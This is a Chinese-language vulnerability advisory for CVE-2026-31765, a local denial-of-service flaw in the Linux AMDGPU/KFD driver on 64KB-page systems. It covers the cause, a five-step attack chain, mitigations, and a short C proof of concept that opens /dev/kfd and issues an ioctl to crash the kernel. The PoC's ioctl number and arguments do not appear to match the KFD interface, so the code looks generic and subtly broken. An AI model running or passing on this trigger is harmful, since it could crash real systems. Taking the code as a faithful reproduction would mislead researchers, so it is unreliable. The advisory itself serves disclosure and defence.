IPBUF安全漏洞报告
English
CVE-2026-31765 CVSS 5.5 中危

CVE-2026-31765 Linux内核AMDGPU驱动拒绝服务漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31765
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelDoSAMDGPUMemory CorruptionLocalKernel Panic

漏洞概述

该漏洞存在于Linux内核的drm/amdgpu驱动中。由于在64KB页面系统上,硬编码的保留陷阱区域大小与实际分配的KFD_CWSR_TBA_TMA大小不匹配,导致运行rocminfo等程序时触发内核空指针解引用,造成系统崩溃和拒绝服务。

技术细节

漏洞的根源在于Linux内核AMDGPU驱动中的虚拟地址(VA)预留逻辑存在设计缺陷。AMDGPU_VA_RESERVED_TRAP_SIZE被硬编码为8KB,而KFD_CWSR_TBA_TMA_SIZE动态定义为2倍系统页大小。在标准的4KB页系统中两者一致,但在64KB页系统(如POWER10架构)上,后者需要128KB空间。当本地低权限用户运行rocminfo或RCCL单元测试时,KFD(AMDGPU Kernel Fusion Driver)尝试初始化GPU虚拟内存。由于分配请求超出了预留的陷阱区域范围,导致内核访问非法内存地址(0x00000002),触发空指针解引用和互斥锁死锁,进而导致内核崩溃(Kernel Panic),造成系统拒绝服务。

攻击链分析

STEP 1
1. 获得访问权限
攻击者获得目标Linux系统的本地低权限用户访问权限。
STEP 2
2. 环境确认
确认系统运行受影响的Linux内核版本,且架构页面大小为64KB(如POWER架构)。
STEP 3
3. 触发漏洞
攻击者执行触发程序,如运行rocminfo工具或执行调用AMDKFD ioctl的代码。
STEP 4
4. 内存越界
驱动尝试分配大于预留陷阱区域的内存空间,导致内核访问空指针。
STEP 5
5. 系统崩溃
内核发生NULL指针解引用错误,触发Kernel Panic,导致系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31765 * Trigger: Local execution on 64K page systems triggers Kernel Panic * Compile: gcc -o poc_cve202631765 poc_cve202631765.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_AMDGPU_KFD_IOCTL_ACQUIRE_VM (DRM_COMMAND_BASE + 0x06) int main() { int fd = open("/dev/kfd", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/kfd"); return 1; } printf("[*] Triggering vulnerability by interacting with KFD...\n"); // On vulnerable systems (64K page size), this ioctl path leads to // amdgpu_amdkfd_gpuvm_alloc_memory_of_gpu -> kfd_process_device_init_cwsr_dgpu // where the size mismatch causes a crash. if (ioctl(fd, DRM_AMDGPU_KFD_IOCTL_ACQUIRE_VM, 0) < 0) { perror("[-] IOCTL failed"); } close(fd); printf("[*] Exploit attempt finished.\n"); return 0; }

影响范围

Linux Kernel < 6.19
Linux Kernel stable branches (prior to commits 4487571, 6b2614a, etc.)

防御指南

临时缓解措施
建议立即应用官方内核补丁。若无法立即升级,可通过移除或禁用amdgpu模块,或使用文件权限限制普通用户访问/dev/kfd设备节点来缓解风险,但这会影响GPU计算功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表